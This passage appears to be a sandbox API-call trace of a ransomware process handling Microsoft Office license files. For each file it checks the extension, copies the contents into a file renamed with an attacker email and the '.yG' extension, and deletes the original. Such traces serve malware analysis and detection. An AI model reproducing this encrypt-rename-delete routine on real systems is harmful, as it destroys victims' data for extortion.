	[0172.473] lstrlenW (lpString=".docx") returned 5
	[0172.473] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.473] lstrlenW (lpString=".pdf") returned 4
	[0172.473] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.473] lstrlenW (lpString=".xls") returned 4
	[0172.473] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.473] lstrlenW (lpString=".xlsx") returned 5
	[0172.473] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.473] lstrlenW (lpString=".ppt") returned 4
	[0172.473] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0172.474] lstrlenW (lpString=".zip") returned 4
	[0172.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.474] lstrlenW (lpString=".rar") returned 4
	[0172.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.474] lstrlenW (lpString=".bz2") returned 4
	[0172.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.474] lstrlenW (lpString=".7z") returned 3
	[0172.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0172.474] lstrlenW (lpString=".dbf") returned 4
	[0172.474] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0172.474] lstrlenW (lpString=".1cd") returned 4
	[0172.474] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0172.474] lstrlenW (lpString=".jpg") returned 4
	[0172.474] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.475] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11195) returned 1
	[0172.475] CloseHandle (hObject=0x568) returned 1
	[0172.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220
	[0172.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0172.476] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.476] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0172.478] GetLastError () returned 0x0
	[0172.478] ReadFile (in: hFile=0x568, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0172.486] WriteFile (in: hFile=0x350, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0172.488] ReadFile (in: hFile=0x568, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.488] WriteFile (in: hFile=0x350, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11c, lpOverlapped=0x0) returned 1
	[0172.488] SetEndOfFile (hFile=0x350) returned 1
	[0172.488] CloseHandle (hObject=0x350) returned 1
	[0172.488] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.488] SetEndOfFile (hFile=0x568) returned 1
	[0172.568] CloseHandle (hObject=0x568) returned 1
	[0172.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0172.570] lstrlenW (lpString=".doc") returned 4
	[0172.570] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.570] lstrlenW (lpString=".docx") returned 5
	[0172.570] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.570] lstrlenW (lpString=".pdf") returned 4
	[0172.570] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.570] lstrlenW (lpString=".xls") returned 4
	[0172.570] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.570] lstrlenW (lpString=".xlsx") returned 5
	[0172.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.570] lstrlenW (lpString=".ppt") returned 4
	[0172.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0172.571] lstrlenW (lpString=".zip") returned 4
	[0172.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.571] lstrlenW (lpString=".rar") returned 4
	[0172.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.571] lstrlenW (lpString=".bz2") returned 4
	[0172.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.571] lstrlenW (lpString=".7z") returned 3
	[0172.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0172.571] lstrlenW (lpString=".dbf") returned 4
	[0172.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0172.571] lstrlenW (lpString=".1cd") returned 4
	[0172.571] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0172.571] lstrlenW (lpString=".jpg") returned 4
	[0172.571] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.572] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11647) returned 1
	[0172.572] CloseHandle (hObject=0x568) returned 1
	[0172.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220
	[0172.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0172.604] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.604] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.606] GetLastError () returned 0x0
	[0172.606] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d7f, lpOverlapped=0x0) returned 1
	[0172.608] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0172.609] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.609] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x124, lpOverlapped=0x0) returned 1
	[0172.609] SetEndOfFile (hFile=0x478) returned 1
	[0172.609] CloseHandle (hObject=0x478) returned 1
	[0172.609] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.609] SetEndOfFile (hFile=0x454) returned 1
	[0172.613] CloseHandle (hObject=0x454) returned 1
	[0172.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1
	[0172.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0172.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0172.615] lstrlenW (lpString=".doc") returned 4
	[0172.615] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.615] lstrlenW (lpString=".docx") returned 5
	[0172.615] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.615] lstrlenW (lpString=".pdf") returned 4
	[0172.615] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.615] lstrlenW (lpString=".xls") returned 4
	[0172.615] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.615] lstrlenW (lpString=".xlsx") returned 5
	[0172.615] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.615] lstrlenW (lpString=".ppt") returned 4
	[0172.615] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0172.615] lstrlenW (lpString=".zip") returned 4
	[0172.615] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.615] lstrlenW (lpString=".rar") returned 4
	[0172.616] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.616] lstrlenW (lpString=".bz2") returned 4
	[0172.616] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.616] lstrlenW (lpString=".7z") returned 3
	[0172.616] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0172.616] lstrlenW (lpString=".dbf") returned 4
	[0172.616] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0172.616] lstrlenW (lpString=".1cd") returned 4
	[0172.616] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0172.616] lstrlenW (lpString=".jpg") returned 4
	[0172.616] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.617] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11626) returned 1
	[0172.617] CloseHandle (hObject=0x454) returned 1
	[0172.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220
	[0172.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0172.618] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.618] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.623] GetLastError () returned 0x0
	[0172.623] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d6a, lpOverlapped=0x0) returned 1
	[0172.663] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.664] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.664] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11a, lpOverlapped=0x0) returned 1
	[0172.665] SetEndOfFile (hFile=0x478) returned 1
	[0172.665] CloseHandle (hObject=0x478) returned 1
	[0172.665] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.665] SetEndOfFile (hFile=0x454) returned 1
	[0172.725] CloseHandle (hObject=0x454) returned 1
	[0172.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1
	[0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0172.727] lstrlenW (lpString=".doc") returned 4
	[0172.727] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.736] lstrlenW (lpString=".docx") returned 5
	[0172.736] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.736] lstrlenW (lpString=".pdf") returned 4
	[0172.736] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString=".xls") returned 4
	[0172.737] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString=".xlsx") returned 5
	[0172.737] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.737] lstrlenW (lpString=".ppt") returned 4
	[0172.737] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0172.737] lstrlenW (lpString=".zip") returned 4
	[0172.737] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString=".rar") returned 4
	[0172.737] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString=".bz2") returned 4
	[0172.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString=".7z") returned 3
	[0172.737] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0172.737] lstrlenW (lpString=".dbf") returned 4
	[0172.737] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0172.737] lstrlenW (lpString=".1cd") returned 4
	[0172.737] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0172.737] lstrlenW (lpString=".jpg") returned 4
	[0172.737] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.738] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11631) returned 1
	[0172.738] CloseHandle (hObject=0x454) returned 1
	[0172.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0172.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0172.739] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.739] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.741] GetLastError () returned 0x0
	[0172.741] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d6f, lpOverlapped=0x0) returned 1
	[0172.755] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.756] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.756] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11c, lpOverlapped=0x0) returned 1
	[0172.756] SetEndOfFile (hFile=0x478) returned 1
	[0172.757] CloseHandle (hObject=0x478) returned 1
	[0172.757] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.757] SetEndOfFile (hFile=0x454) returned 1
	[0172.760] CloseHandle (hObject=0x454) returned 1
	[0172.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1
	[0172.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0172.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0172.762] lstrlenW (lpString=".doc") returned 4
	[0172.762] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.762] lstrlenW (lpString=".docx") returned 5
	[0172.762] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.762] lstrlenW (lpString=".pdf") returned 4
	[0172.762] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.762] lstrlenW (lpString=".xls") returned 4
	[0172.762] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.762] lstrlenW (lpString=".xlsx") returned 5
	[0172.762] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.762] lstrlenW (lpString=".ppt") returned 4
	[0172.762] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0172.762] lstrlenW (lpString=".zip") returned 4
	[0172.762] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.762] lstrlenW (lpString=".rar") returned 4
	[0172.762] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.762] lstrlenW (lpString=".bz2") returned 4
	[0172.762] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.762] lstrlenW (lpString=".7z") returned 3
	[0172.762] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0172.762] lstrlenW (lpString=".dbf") returned 4
	[0172.762] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
